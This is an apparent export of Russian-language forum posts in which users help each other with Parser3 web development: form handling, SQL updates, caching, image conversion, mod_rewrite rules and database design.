А когда придете -- уверен сделано все будет красиво."
"51684","Кто будет заниматься развитием Parser3, когда от этого откажется PAF ?\
\
От этого откажется студия Лебедева например? Это врядли. Но этот язык и без альнейшего развития представляет достаточноый функционал."
"51698","Делаю форум для сайта http://parser.proc.ru/ (переделываю исходники Сергей Яценко + [url=\"http://www.parser.ru/examples/trees/\"]Построение деревьев (С) Misha v.3[/url]) на XML, чтобы можно реализовать форум в виде класса-модуля.\
\
Возникла проблема: для написания ответа на сообщение для \"простоты\" нужно открыть новое окно с формой для ввода текста. В реализации у Сергея для формы используется отдельный файл-страница, которая лежит в какой-нибудь папке.\
\
Можно ли каким-нибудь образом отказаться от физического файла и формировть страницу на лету. Я пробовал это делать через JavaScript, однако в этом случае возникает проблема с парсингом страницы с помощью xsl-шаблона.\
\
Есть конечно вариант использовать подход с LiveJournal -\"прикреплять\" \"всплывающую\" форму к каждому сообщению и динамически выводить ее на самой странице со сообщением, пр нажатии кнопки \"Ответить\"... однако здесь есть кое-какие неудобства.\
\
Есть какие-нибудь варианты?"
"51703","[b]1.[/b] /forum/?addmessage=1\
\
[b]2.[/b]\
[code]\
^if(^form:addmessage.int(0)){\
	$response:body[<form.../>]\
}\
[/code]"
"51706","Как ни грустно это осознавать, но если студия Лебедева прекратит поддержку Парсера, то и Парсер, и коммъюнити загнется. Однозначно."
"51712","Поддержка и развитие вещи разные. Поддержку они не прекратят."
"51714","...\
\
if test ! -f \"$project_directory/gc/lib/libgc.a\"; then\
  cd $project_directory/src\
  echo \"Downloading libgc [1 lib of 3]...\"\
  wget -c http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.6.tar.gz\
  echo \"Unpacking...\"\
  gunzip -c gc6.6.tar.gz | tar vxf - >/dev/null\
  cd gc6.6\
  echo \"Configuring libgc...\"\
  CPPFLAGS=\"-DUSE_LIBC_PRIVATES -DUSE_MMAP -DUSE_MUNMAP\" \\\
  ./configure --prefix=$project_directory/gc --disable-threads --disable-shared --silent\
  echo \"Building libgc...\"\
  make\
  make install\
fi\
\
..."
"51715","по моему это единственное возможное решение, и ни о каких max() по моему даже думать не следует. однако если БД позволяет можно данный функционал вынести в хранимую и вызывать из триггера (всего несколько дополнительных строк при создании таблицы и минус кучка некрасивого кода из клиентского приложения).\
\
с другой стороны целесообразность этого таинства мне не ясна. \"партия так сказала\" - аргумент сомнительный."
"51716","Забыл про body.\
Сделал так:\
[code]\
$xml[<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
...\
xml-содержимое страницы...\
]\
\
^if(^form:addmessage.int(0)){\
	$response:body[\
		^xmlTransformer[$xml;/xsl/message.xsl]]\
	]\
}[/code]"
"51720","почему нельзя присваивать переменным значения прямо в условии и тут же проверять их? \
Ведь это было бы очень удобно например здесь:\
\
[code]^if($table[^table::sql{SELECT ....}]){\
делаем что то с table\
}{\
нет записей\
}[/code]а приходится:\
[code]$table[^table::sql{SELECT ....}]\
^if($table){\
делаем что то с table\
}{\
нет записей\
}[/code]В php такая конструкция работает, в Си тоже\
или я не это... не того? т.е. противоречу идеологии?"
"51721","по-моему xp программирование вообще исключает комментарии или сводит их к минимуму, поэтому я даже предположить не могу какая книжка учит их использованию?"
"51722","Пробую на домашнем компе, т.е. под win.\
\
W:\\home\\localhost\\cgi-bin\\ - там convert.pl, images.pl, nconvert.exe."
"51723","/images/picture.jpg"
"51724","А это не первоапрельская шутка?"
"51726","Народ! поможите - я уже глядел, глядел... не пойму почему выдает при выполнении: [b]'MAIN' method_frame may not be overwritten with table, store it to variable instead [parser.runtime]\
[/b] хде я тут накосячил?\
\
[code]###Листинг меню: вкл/выкл\
##Левое меню:\
^connect[$connect_string]{\
$show_all[^table::sql{SELECT * FROM menu WHERE r_l = '0'}]\
^if($show_all){\
<form method=\"post\" enctype=\"multipart/form-data\" name=\"listmenu\" id=\"listmenu\">\
Левостороннее меню:\
<table border=\"1\" bordercolor=\"black\" width=\"100%\">\
^show_all.sort{$show_all.section_id}[desc]\
^show_all.menu{\
<tr>\
################################## menu cell\
<td width=\"40%\" valign=\"middle\"><b>$show_all.name</b></td><td width=\"40%\" valign=\"middle\"><b>/$show_all.uri/</b></td>\
# availiability sign\
<td width=\"20%\" valign=\"middle\">\
^switch[$show_all.on1]{\
^case[0]{<input name=\"$show_all.uri\" type=\"radio\" value=\"1\"><img src=\"/images/yes.gif\" alt=\"включено\"><br>\
		<input name=\"$show_all.uri\" type=\"radio\" value=\"0\" checked><img src=\"/images/no.gif\" alt=\"выключено\">}\
^case[1]{<input name=\"$show_all.uri\" type=\"radio\" value=\"1\"checked><img src=\"/images/yes.gif\" alt=\"включено\"><br>\
		<input name=\"$show_all.uri\" type=\"radio\" value=\"0\"><img src=\"/images/no.gif\" alt=\"выключено\">}\
}\
</td>\
################################## END OF menu cell\
</tr>\
}</table><input name=\"hid\" type=\"hidden\" value=\"1235\">\
<input name=\"submit\" type=\"submit\" value=\"Принять\">\
^if($form:hid eq 1235){\
$av_ch[$form:tables.[$show_all.uri]]\
^if($av_ch){\
	^void:sql{\
		UPDATE menu SET on1='$av_ch' WHERE uri='$form:[$show_all.uri]'\
			}\
 		}\
	}\
}\
[/code]\
\
спасибки!)))))"
"51728","а в чом ошибка то?????? как же мне тогда писать в том месте????"
"51731","Если ^cache сохраняет результат ответа, почему\
\
[code]\
^cache[cachefile](1000){\
   $content[^file::load[binary;http://www.parser.ru]]\
   $response:body[$content]\
}\
[/code]\
\
не работает?\
В файл ничего не сайвится и после F5 вообще пустая пага."
"51732","Всё в этом мире могёт быть :-("
"51733","[code]^switch[$show_all.on1]{\
^case[0]{<input name=\"$show_all.uri\" type=\"radio\" value=\"1\"><img src=\"/images/yes.gif\" alt=\"включено\"><br>\
		<input name=\"$show_all.uri\" type=\"radio\" value=\"0\" checked><img src=\"/images/no.gif\" alt=\"выключено\">}\
^case[1]{<input name=\"$show_all.uri\" type=\"radio\" value=\"1\"checked><img src=\"/images/yes.gif\" alt=\"включено\"><br>\
		<input name=\"$show_all.uri\" type=\"radio\" value=\"0\"><img src=\"/images/no.gif\" alt=\"выключено\">}\
}[/code]\
\
Идея такова: парсер считывает с базы данных наличие (публикация) пункта меню (0/1) - и выдает один из вариантов (^case) но потом, когда человечек меняет значение скажем с 1 на 0 (кликнув соответствующий радиобаттн) то парсер должен внести изменения в БД касательно этого самого пункта"
"51735","[code]\
$response:body[\
	^cache[cachefile](1000){\
		Скэшированная строка.\
		$content[^file::load[binary;http://www.parser.ru]]\
		$content\
	}\
]\
[/code]"
"51736","но можно подправить исходник, чтобы такое было возможно.\
после чего пересобрать.\
проекты для VS2003 в архиве с исходниками есть.\
для сборки достаньте также модуль win32 из cvs."
"51737","задача + воображаемый код"
"51738","синтаксис непротивный тут выдумать можно, а внутреннее желание перебороть — трудно."
"51739","думаю, сделаю. непонятно, чего раньше тормозил, сделать совсем несложно."
"51740","Вопрос надо ставить по-другому - какой из стандартных сервисов можно реализовать на PHP, который нельзя реализовать на Парсере?"
"51741","риск потерять возможность собрать бинарник под операционку XYZUnix… отсутствует.\
мы собирали их на целом ряде платформ, не перечисленных в download.\
\
риск непоявления в языке желаемой фичи… он отсутствует и сейчас: кто хочет, может себе добавить, что хочет (знаю, умельцы были есть и будут)."
"51742","У меня есть простой класс, который в зависимости от броузера подключает определенный css. Я не считаю, что код нужно писать кроссбраузерным через один файл. Уж очень громоздко =) Если интересно - могу показать."
"51743","и что?\
я не вижу в gc6.6 вызова, который может привести к описываемому вами.\
вывод: почему-то к parser подкомпоновалась другая libgc.\
\
проверьте.\
способ:\
собрать libgc с отладочной информацией (не помню ключик configure).\
[b]затем[/b]:\
\
[code]\
gdb /path/to/parser\
gdb> r\
-падает-\
gdb> bt\
gdb> up\
gdb> list\
gdb> up\
gdb> list\
gdb> up\
gdb> list\
gdb> up\
gdb> list\
[/code]"
"51744","поскольку очень экономят время, уходящего на осознание происходящего."
"51745","противоречия тут идеологии нет.\
сам так на C++ очень люблю. причём в такой форме:\
[code]\
// C++\
if(Class* obj=storage.getSomething()) {\
  …\
}\
[/code]"
"51747","Какое нужно поле, такое и выводите.\
В чём проблема-то?.."
"51748","так, понял ошибку - выводил всю таблицу а не поле\
Тупость № 2: публикую правленый код:\
\
[code]$show_all[^table::sql{SELECT * FROM menu WHERE r_l = '1'}]\
^if($show_all){\
<br><form method=\"post\" enctype=\"multipart/form-data\" name=\"listmenu\" id=\"listmenu\">\
Правостороннее меню:\
<table border=\"1\" bordercolor=\"black\" width=\"100%\">\
^show_all.sort{$show_all.section_id}[desc]\
^show_all.menu{\
<tr>\
################################## menu cell\
<td width=\"40%\" valign=\"middle\"><b>$show_all.name</b></td><td width=\"40%\" valign=\"middle\"><b>/$show_all.uri/</b></td>\
# availiability sign\
<td width=\"20%\" valign=\"middle\">\
^switch[$show_all.on1]{\
^case[0]{<input name=\"$show_all.uri\" type=\"radio\" value=\"1\"><img src=\"/images/yes.gif\" alt=\"включено\"><br>\
		<input name=\"$show_all.uri\" type=\"radio\" value=\"0\" checked><img src=\"/images/no.gif\" alt=\"выключено\">}\
^case[1]{<input name=\"$show_all.uri\" type=\"radio\" value=\"1\"checked><img src=\"/images/yes.gif\" alt=\"включено\"><br>\
		<input name=\"$show_all.uri\" type=\"radio\" value=\"0\"><img src=\"/images/no.gif\" alt=\"выключено\">}\
}\
</td>\
################################## END OF menu cell\
</tr>\
}</table><input name=\"hid\" type=\"hidden\" value=\"1235\">\
<input name=\"submit\" type=\"submit\" value=\"Принять\">\
^if($form:hid eq 1235){\
[b]$av_ch[$form:tables.[$show_all.uri]]\
^if(def $av_ch){\
	^void:sql{\
		UPDATE menu SET on1='$av_ch.field' WHERE uri='$form:[$show_all.uri][/b]'\
			}\
 		}\
	}\
}[/code]\
\
проблема: когда я кликаю на любой радиобатн с целью перемены значения, после кнопки сабмит страница просто \"обновляется\", в итоге значения не изменены, тоесть всегда остается так:\
[code]^case[1]{<input name=\"$show_all.uri\" type=\"radio\" value=\"1\"[b]checked[/b]><img src=\"/images/yes.gif\" alt=\"включено\"><br>\
		<input name=\"$show_all.uri\" type=\"radio\" value=\"0\"><img src=\"/images/no.gif\" alt=\"выключено\">}\
}[/code]\
почему значения не меняются при присвоении новых значений?\
\
вот например здесь:\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\" name=\"form1\">\
  <input name=\"r\" type=\"radio\" value=\"radiobutton1\">1\
  <input name=\"r\" type=\"radio\" value=\"radiobutton2\">2\
  <input name=\"r\" type=\"radio\" value=\"radiobutton3\">3\
  <input name=\"r\" type=\"radio\" value=\"radiobutton4\">4\
<input name=\"ww\" type=\"hidden\" value=\"13\">\
<input name=\"s\" type=\"submit\" value=\"s\">\
</form>\
\
\
$rad[$form:tables.r]\
^if($form:ww eq 13){^if($rad){$rad.field}}[/code]\
все срабатывает - автоматически определяется какой радиобатн включен и выводится значение \"radiobutton[i][b]n[/b][/i]\"? где [i][b]n[/b][/i] - порядковый номер\
почему точно такая же сстема не работает в связке(код вверху)???"
"51749","вы в вашем коде написали:\
[code]\
$av_ch[$form:tables.[$show_all.uri]]\
[/code]\
\
очевидно вы справились с документацией и написали это осознанно. очевидно вы понимаете что это делает, а также что можно и чего нельзя делать с таблицей. \
\
если так то подсказки должно быть более чем достаточно.\
\
если не так, то сейчас самое время сделать это."
"51751","1. в какой момент данные достаются?\
2. в каком момент данные выводятся?\
3. в какой момент данные изменяются?"
"51752","[code]section_id	name	uri	on1\
1 	DVD 	dvd 	1\
2 	MP3 плееры 	mp3players 	1\
3 	Аксессуары 	accessories 	1\
5 	Акустика 	acoustics 	1[/code]\
\
такова табличка откуда считывается значения (в калонке on1 - 1 соответствует \"вкл\")\
вот как это выглядит: [url=\"http://www.jahcom.nm.ru/hitech.jpg\"]snapshot[/url]\
\
1. данные входят на [code]^show_all.sort{$show_all.section_id}[desc]\
^show_all.menu{[/code]\
2. изменяются на клике по радиобаттну, сабмиту и при операции [code]$av_ch[$form:tables.[$show_all.uri]]\
^if(def $av_ch){\
	^void:sql{\
		UPDATE menu SET on1='$av_ch.field' WHERE uri='$form:[$show_all.uri]'\
			}\
 		}[/code] - занесение в БД\
3. вывод идет тамже где и ввод:[code]^switch[$show_all.on1]{\
^case[0]{<input name=\"$show_all.uri\" type=\"radio\" value=\"1\"><img src=\"/images/yes.gif\" alt=\"включено\"><br>\
		<input name=\"$show_all.uri\" type=\"radio\" value=\"0\" checked><img src=\"/images/no.gif\" alt=\"выключено\">}\
^case[1]{<input name=\"$show_all.uri\" type=\"radio\" value=\"1\"checked><img src=\"/images/yes.gif\" alt=\"включено\"><br>\
		<input name=\"$show_all.uri\" type=\"radio\" value=\"0\"><img src=\"/images/no.gif\" alt=\"выключено\">}\
}[/code]\
ведь так????\
только вот вопрос в том, почему в том минипримерчике все работает а в этом не совсем....???? не вижу ошибки, но подозреваю о её существовании (странно былобы если бы не подозревал, хаха!)"
"51754","[code]$av_ch[$form:tables.[$show_all.uri]]\
^if(def $av_ch){\
	^void:sql{\
		UPDATE menu SET on1='$av_ch.field' WHERE uri='$form:[$show_all.uri]'\
			}\
 		}[/code]\
\
только вопрос где ошибка остается открытым, я как не анализирую - не могу понять..... как в анекдоте:\"Вовочка, есть 3 варианта: либо ты тупой, либо ты не умеешь считать...\" пожалуйста подскажи!!!!!!!!"
"51756","я ам указал место где ошибка.\
\
Вы используете nconvert следовательно\
[code]\
# Раскоментировать если используется nconvert\
$script_path[/../cgi-bin]\
$script_resize_name[nconvert]\
\
#$script_path[/../cgi-bin]\
#$script_resize_name[images.pl]\
[/code]\
\
images.pl можете выкинуть, в вашем случае он не нужен."
"51758","Нашел быстрое решение задачи на перле, почти как из документации к апачу."
"51760","только вот ^table::sql туда засоывать глупо как мне кажется"
"51761","При запуске через консоль ./parser3.cgi\
Парсер срабатывает:\
\
# ./parser3.cgi\
./parser3.cgi: file not specified\
Parser/3.2.1 (compiled on i386-unknown-freebsd5.4)\
Copyright(c) 2001-2005 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
\
Назначаю его обработчиком html\
Получаю: Premature end of script headers"
"51769","Точнее, сам-то код я понимаю, но не понимаю то, как людям такое в голову взбрело.\
\
В школе я программирвание не изучал (учился с английским уклоном), а в университете нас бросили на самотек, поэтому мои знания основаны лишь на моем опыте.\
\
С хэшами я мало имел дела. Однако, когда речь заходит о построении деревьев, получается, что это самый удобный инструмент. да вот только я пока плохо представляю все его возможности....."
"51771","исходный код библотек переехал в каталог libxml2"
"51772","Если в папке big уже есть файл 54321.jpg, то произойдет уменьшение. Значит nconvert работает."
"51773","[code]$script_convert_path[/../cgi-bin]\
$script_convert_name[convert.pl][/code]\
\
здесь указать либо путь либо имя скрипта неправильно, то сохраняется временная картинка temp_54321.jpg"
"51774","подумаете делать или не делать\
или подумаете как делать? :)\
\
И если все таки сделаете, то как скоро этого ждать хотя бы примерно?\
\
Было бы просто здорово"
"51776","Здравствуйте!\
Сообщения из форума не попадают мне в ящик!\
Галку для \"уведомлять об ответах на это сообщение по E-mail\" поставил. Но толку нету."
"51780","Временные затупы бывают у всех. Мэил уже давно [url=\"http://www.parser.ru/forum/?id=20405\"]блокирует письма отсюда[/url]. Можно было найти поиском."
"51781","т.к. они нас заблокировали, а выяснять с ними отношения на этот счет мне не за чем."
"51782","Не знает ли кто-нибудь, где может размещаться логин с паролем для MySQL в Parser? Захожу я в auto.p и внизу вижу строчку:\
\
#$SQL.connect-string[mysql://username:password@host/db?charset=cp1251_ko\
\
Получается, строчка закоментирована, но из MySQL тем не менее Parser читает. Как вы думаете, это чудеса, или можно где-то еще это прописать?"
"51783","она так же может хранится в переменной с другим именем.\
\
для начала попробуйте найти ^connect[]{} :)"
"51784","bk мейловский"
"51785","Вообще ничего не понимаю..."
"51787","Идентичная ошибка с авторской. Перл работает, настроен верно. ИМ тоже стоит, и по всей видимости работает, т.к. если запустить convert.pl из ком. стр., получаю ошибку\
[code]Use of uninitialized value in string at D:\\Creage\\Design\\creage\\cgi-bin\\convert.pl line 12.\
Use of uninitialized value in concatenation (.) or string at D:\\Creage\\Design\\creage\\cgi-bin\\convert.pl line 13.\
File  not found.[/code]\
Т.е. все как-бы работает, но в купе с Парсером - нет. Ждем комментариев Юджина."
"51789","походу, ошибка вылетает на методе resize\
\
[code]^case[image_file.missing]{$result(3)}	# исходный файл не найден[/code]\
\
Только как это возможно - разбираемся."
"51790","стоит задача получить путь выполняемого скрипта. Можно было бы использовать $env:PATH_TRANSLATED или $request:uri НО они уже \"испорчены\" mod_rewrite..."
"51791","http://www.parser.ru/docs/lang/mainclass.htm\
\
[quot] Инициализация заключается в вызове метода auto каждого загруженного файла. Если определение этого метода содержит параметр, при вызове в нем будет передано имя загруженного файла[/quot]"
"51793","У меня используется вот такой ( достаточно кривой наверное ) mod_rewrite\
\
RewriteEngine On\
RewriteBase /\
RewriteCond %{REQUEST_FILENAME} !st.*\
RewriteRule /st/ /st/\
RewriteRule ^news/$ /?mod=news\
RewriteRule ^news/([0-9]*)/([0-9]*)/([0-9]*)/$ /?mod=news&id=$1/$2/$3\
RewriteRule ^catalog/$ ?mod=catalog\
RewriteRule ^catalog/(.*)/$ ?mod=catalog&cat=$1\
RewriteRule ^([a-z]+)/$ /?page=$1\
\
Вот эта чать не работает \
RewriteCond %{REQUEST_FILENAME} !st.*\
RewriteRule /st/ /st/\
\
Может есть какойто другой способ, чтобы несмотря RewriteRule ^([a-z]+)/$ /?page=$1 я мог открывать папки и файлы которые существуют на сервере ?"
"51794","[code]\
$int(0)\
^if(def $int){def;undef}\
[/code]\
\
результат: def\
\
[code]\
$bool(false)\
^if(def $bool){def;undef}\
[/code]\
\
результат: undef\
\
Если это так и задумано, стоит описать в [url=http://www.parser.ru/docs/lang/opdef.htm]документации[/url]."
"51795","Ошибка возникает в этом куске, т.е. в конвертировании формата\
\
[code]\
^if(def $format){\
	^try{\
		$script[$script_convert_path/$script_convert_name]\
		^image_file.save[binary;$destination_path/temp_$image_name]\
		$file_image[^file::exec[$script;\
			$.CGI_FILE_IMAGE[${env:DOCUMENT_ROOT}$destination_path/temp_$image_name]\
			$.CGI_FORMAT[$format]\
		]\
		]\
		^file:delete[$destination_path/temp_$image_name]\
	}{\
		$exception.handled(1)\
		$result(3)	# ошибка конвертирования\
	}\
}{\
	^image_file.save[binary;$destination_path/$image_name]\
}\
[/code]\
\
Во-первых, не понятно почему написано $script[$script_path/$script_convert_name], а не $script[$script_convert_path/$script_convert_name].\
\
Если все выкинуть и оставить только ^image_file.save[binary;$destination_path/$image_name], то все будет работать."
"51796","Хех ).\
\
Прикольное решение - удалить все нах! ).\
\
В тех строках, которые вы предлагаете удалить, происходит смена формата заданного изображения на требуемый - это раз. Во вторых, у меня все значения переменных написаны правильно - не знаю откуда вы брали свой код.\
\
Похоже, что проблема в самом ИМ. Все - и Перл, и Апач, и Парсер работают как надо. Но вот ИМ, при тестировании работает тоже правильно - из ком.стр. там и из перла если тестить, а вот из парсера - не хочет. Может ошибка в передаче параметров? Они передаются через переменные окружения, так вот возможно они и не определяются. Т.к. пытался вывести их отдельным скриптом на экран - чистый лист. Хотя ни ИМ ни Перл на их отсутствие не ругается. Короче, пора доставать бубен."
"51797","При попытке выполнить images.pl непосредственно из адресной строки, с предварительным определением всех необходимых переменных получаем следующее:\
\
[code]Software error:\
Can't load 'C:/Program Files/Perl/site/lib/auto/Image/Magick/Magick.dll' for module Image::Magick: load_file:Не найден указанный модуль at C:/Program Files/Perl/lib/DynaLoader.pm line 230.\
 at D:/Creage/Design/creage/cgi-bin/images.pl line 16\
Compilation failed in require at D:/Creage/Design/creage/cgi-bin/images.pl line 16.\
BEGIN failed--compilation aborted at D:/Creage/Design/creage/cgi-bin/images.pl line 16.[/code]\
\
Типа ИМ не установлен и все такое, хотя он стоит, работает (вроде как) и в репозитарии Перла определен без ошибок."
"51800","Чтобы правила не работали для реальных объектов. См. доки по rewrite."
"51801","Я тоже программированию не обучался :)\
\
Однако чтение документации и изучение примеров мне помогло ;)"
"51803","У тебя не установлен виндовый пакет imagemagick, а только перловая библиотека.\
\
Как установить виндовую я писал [url=\"http://www.spearance.ru/parser3/apache/\"]тут[/url].\
\
Основной баг при установке - конфликт версий перла и библиотеки imagemagick. В примере указаны стопроцентно рабочие версии.\
\
Если нужен рабочий комплект стучись в асю."
"51804","т.к. вы задали вопрос не вполне корректно, я не сразу въехал в чём проблема.\
\
Нужно было описать ситуацию следующим образом:\
\
Система: win\
Есть в наличии: nconvert.exe\
Скопировал images.p, скопировал пример.\
\
Попытался выполнить сохранение gif файла с последующим преобразованием в jpg и изменением размера.\
\
Теперь мой ответ:\
\
Дудки, ничего у вас не выйдет, т.к. вы просто копируете код не вдумываясь в него.\
\
Ошибка 1. nconvert не умеет создавать папки, поэтому папку в которую будут падать маленькие картинки нужно создать заранее.\
\
Ошибка 2. Для win используется не nconvert, а nconvert.exe, следовательно в коде его нужно поменять, причём дважды:\
[code]\
$script_resize_name[nconvert.exe]\
...\
^case[nconvert.exe]{\
[/code]\
\
Ошибка 3. Изменение формата без установленного пакета imagemagick работать не будет, т.е. нельзя делать gif->jpg, а только jpg->jpg."
"51809","Вся документация на Парсер расположена в соответсвующем разделе.\
Читаете, пробуете -> понимаете.\
\
Если вам интересна работа с ассоциативными массивами вообще - купите/скачате книжку о них, применительно к другим языкам.\
\
Или вы хотите, чтобы для вас специально написали книжку?.."
"51810","[quote]Вся документация на Парсер расположена в соответсвующем разделе.\
Читаете, пробуете -> понимаете.[/quote]\
\
Документация по Парсер мне не нужна. Она у меня есть.\
\
[quote]Если вам интересна работа с ассоциативными массивами вообще - купите/скачате книжку о них, применительно к другим языкам.[/quote]\
\
По идее, я это у людей и спрашивал. Покупать на \"Озоне\" такую литературу я не хочу, т.к. в свое время уже пару бесполезных книг купил, купившись на название. Мне нужно то, что могут посоветовать.\
\
Я например, всю свою документацию собираю.\
\
[quote]Или вы хотите, чтобы для вас специально написали книжку?..[/quote]\
Если это было так, то я бы прямо так и сказал..."
"51812","А если серьёзно:\
\
- Apache обновлён до последней стабильной версии 1.3.34,\
- в состав включён Parser 3.2.2b с XML\
- mod_perl пересобран из исходников (вы таки будете смеяться, но на perl.apache.org последний бинарник был для apache 1.3.17 - пришлось компилировать)\
- теперь в состав \"большого\" \"ножика\" включён последний ActiveState Perl 5.8.7 Build 815 со всеми стандартными модулями (ну, почти, - я отковырял Tk и добавил стандартные DBI и DBD-модули)\
- PHP4 обновлён до последней стабильной версии 4.4.2 с набором библиотек (Exif, GD2, Curl, DomXML, IMAP, MbString, MSSQL, ODBC, PDF, Sockets, XML, XSLT, XMLRPC, Zip, Zlib)\
\
В тестовый сайт теперь включены помимо \"первого урока\":\
- класс переносимости SQL\
- класс авторизации\
\
Брать, как обычно, на http://swissknife.bougakov.com/ (или [url=\"https://sourceforge.net/project/showfiles.php?group_id=144555&package_id=158960&release_id=407272\"]прямая ссылка[/url])"
"51813","Короче, странно, но почему-то сегодня все как-бы заработало. Причем ничего не переустанавливал - все как вчера, за исключением ребута компа (может это нужно для правильной работы после инсалляции), хотя после установок и ИМ и Перла Апач был рестартнут не раз.\
\
А ошибка есть в коде Юджина ):\
\
[code]^if(def $form:picture){\
	$source_path[/big/]\
	$destination_path[/small/]\
	$extension[^file:justext[$form:picture.name]]\
	$image_name[54321.$extension]\
	$format[gif]\
^if(!^images:save[$form:picture;$source_path;$image_name;$format]){\
	^if(^extension.lower[] ne ^format.lower[]){\
# отсутствие следующих 2 строк приводит к тому, что скритпы не видят рисунка )\
		$img[^file:justname[$image_name]]\
		$image_name[${img}.$format]\
	}\
	$status[^images:resize[\
		$.source_path[$source_path]\
		$.destination_path[$destination_path]\
		$.image_name[$image_name]\
		$.x_size(100)\
		$.y_size(120)\
		$.quality[80]\
	]]\
	^if(!$status){\
 *** Всё ок *** \
	}{\
 *** Возникла ошибка *** \
		$status\
	}\
}\
}[/code]\
\
Сейчас все работает идеально )."
"51814","Надо попробовать. Я обычно Денвером пользуюсь. Но может..."
"51815","Начались проблемы с работой этой функцией после добавления домена третьего уровня. На арбатеке это устроено так: есть каталог /home/fishingc/public_html для хранения файлов www.имя_домена.ru. Для каждого домена третьего уровня в ней создается дополнительный каталог. Например, для test2.имя_домена.ru будет создан каталог /home/fishingc/public_html/test2. Сначала все вроде бы работало как надо html-льки цеплялись для каждого домена из своей папки, но вот cache...\
\
Для домена (www):\
DOCUMENT_ROOT: /home/fishingc/public_html.\
команда ^cache[/cache/tours.txt] сохраняет в файл /home/fishingc/public_html/cache/tours.txt.\
\
Для домена (test2):\
DOCUMENT_ROOT: /home/fishingc/public_html/test2.\
Но команда ^cache[/cache/tours.txt] все равно сохраняет в файл /home/fishingc/public_html/cache/tours.txt, хотя по идеи должна бы сохранять в /home/fishingc/public_html/test2/cache/tours.txt.\
\
Это глюк, фича или мои кривые настройки?"
"51816","в полезных ссылках есть список литературы. Очень полезной -- эти книги вы можете смело заказывать на Озоне"
"51817","Ниче менять не нужно. Все работает."
"51818","[code]$request:document-root[/home/fishingc/public_html/test2][/code]"
"51821","мне оттуда нужны были исходники odbc-драйвера для личых целей, я скачал всё без разбору и сделал \"build all\", в т.ч. модуль apache."
"51822","А что вы понимаете под \"стандартным сервисом\"?"
"51823","... и что значит \"нельзя реализовать\"? Я вот, например, не видел ни одного аукциона на Парсере."
"51824","а я не видел не одной операционной системы на ПХП. Обидно...\
Глупая дискуссия. Если вы хотите написать казино, вы его напишите хоть на ПХП хоть на ПИТОНЕ хоть на ПЕРЛЕ хоть н ПАРСЕРЕ -- вопрос в логике, а не языке"
"51826","Заработало. :)"
"51827","Не пойму как попасть а в админку?"
"51828","Здравствуйте. Прошу совета по следующей задаче.\
\
Есть таблица [b]info[/b], в которой есть поля:\
- id – порядковый номер записи\
- [b]serial_id[/b] – ключ из таблицы serial \
- [b]info [/b]– текстовая информация\
В таблице [b]info [/b]содержатся, ну, допустим, записи в гостевую книгу. Но просто так в нее нельзя записи добавлять. Для этого нужно знать еще специальные «серию» и «код». Одной записи может соответствовать только одна пара серии и кода. \
Пары серии и кода содержатся в другой табличке [b]serial[/b]:\
[b]serial_id[/b] – порядковый номер кода (тот, который указывается в таблице [b]info[/b])\
serial_number – серия (внешний вид [b]A 7954653[/b] – буквы и 7 цифр)\
[b]serial_code[/b] – секретный код (случайное число из 7 разрядов, например [b]5791451[/b])\
Фишка в том, что эти комбинации в таблице serial должны генерироваться до того, как их придется использовать в таблице [b]info[/b].\
Подробнее о полях таблицы [b]serial[/b]:\
- [b]serial_number[/b] – состоит из одной или нескольких букв и семизначного числа от [b]0000001 [/b]до [b]9999999[/b]. И выглядит, как [b]A0000002[/b], [b]A0000003 [/b]… [b]A9999999[/b]. Когда серия доходит до [b]A9999999 [/b]и добавляется следующий номер, должно получиться [b]B0000001[/b]. Когда доходит до [b]Z9999999 [/b]следующим серийным номером должно быть AA0000001. И т.д.\
Вообще эти серийные номера генерятся партиями. Т.е. заходит чел, давит кнопку «Сгенерировать 1000000 серийных номеров» и у нас начинается процесс добавления в таблицу [b]serial [/b]пар «серийный номер – код». Код генерится легко, а вот как сделать так, чтобы серийные номера нормально генерировались? Со всеми изменениями буквенной части.\
Я вообще внятно объяснил?"
"51829","login: test\
passwd: test"
"51830","Ух спасибо"
"51831","Есть задача, нужен каталог документов. Документов порядка 1500, с дальнейшим постоянным увеличением. У каждого документа может быть несколько представлений - html, doc и т.д. Все поля их характеризующие будут храниться в SQL\
Вопрос в том как хранить носредственно сами документы. \
Варианты\
1. Хранить сами доки тоже в базе\
2. Хранить доки на диске, тогда два подварианта:\
2.1. Раскладывать их по подкаталогам с именем каталога=ID документа /путь/423(id)/(document.rtf|zip|pdf| etc)\
2.2. Раскладывать их в \"дереве\", т.е. путь/тип документа/год/месяц/день/номер/(document.rtf|zip|pdf| etc), а ссылку на файл хранить в базе.\
Пути само собой лишь примеры, иллюстрирующие подход.\
\
Наверняка кто то уже решал эту задачу, и имеет опыт, как \
оптимальней. Может еще какие то варианты есть?\
Заранее спасибо откликнувшимся."
"51833","[code]# не переписанный mod_rewrite'ом путь\
$pageFullPathFolder[^file:dirname[$request:uri]]\
\
# переписанный mod_rewrite'ом путь\
$root[$env:DOCUMENT_ROOT]\
$url[$env:PATH_TRANSLATED]\
$url[^url.right(^url.length[]-^root.length[])]\
\
$pageFullPathFolder[^file:dirname[$url]]\
[/code]"
"51834","objects type\
id INT NOT NULL AUTO INC PRIMARY KEY\
date date\
header varchar\
\
objects\
object_id INT\
content text\
\
object_id = id, он НЕ auto_increment и НЕ primary key"
"51835","попробуйте так:\
\
[code]\
@auto[filespec]\
^throw[test;=$filespec=]\
[/code]"
"51836","Если кто уже занимался сборкой субж., выложите где-нибудь, пожалуйста."
"51837","я файлики храню на диске в переименованном виде, в БД у меня есть табличка resource, в которой эти файлики зарегистрированы. все они сваливаются в одну каталожку (класс по управлению ресурсами позволяет раскладывать все это не в одну каталожку, а в несколько чтобы в одной каталожке не было 100000 файлов)\
\
ещё я завожу несколько табличек вида blablabla_to_resource, там я храню связи файл-blablabla.\
\
т.е. для вашего случая у меня получилось-бы примерно такое:\
\
document:\
document_id\
description\
... # дополнительные поля\
\
resource:\
resource_id\
type # тут тип: html, pdf...\
filename # имя файла который лежит на диске, напр.: 1234.zip\
origin_name # исходное имя файла, напр.: document.zip\
... # можно ещё хранить дату модификации, размер чтобы не мерить итд\
\
document_to_resource:\
resource_id,\
document_id,\
sort_order"
"51839","http://bugotak.com/img/files/captcha.rar\
\
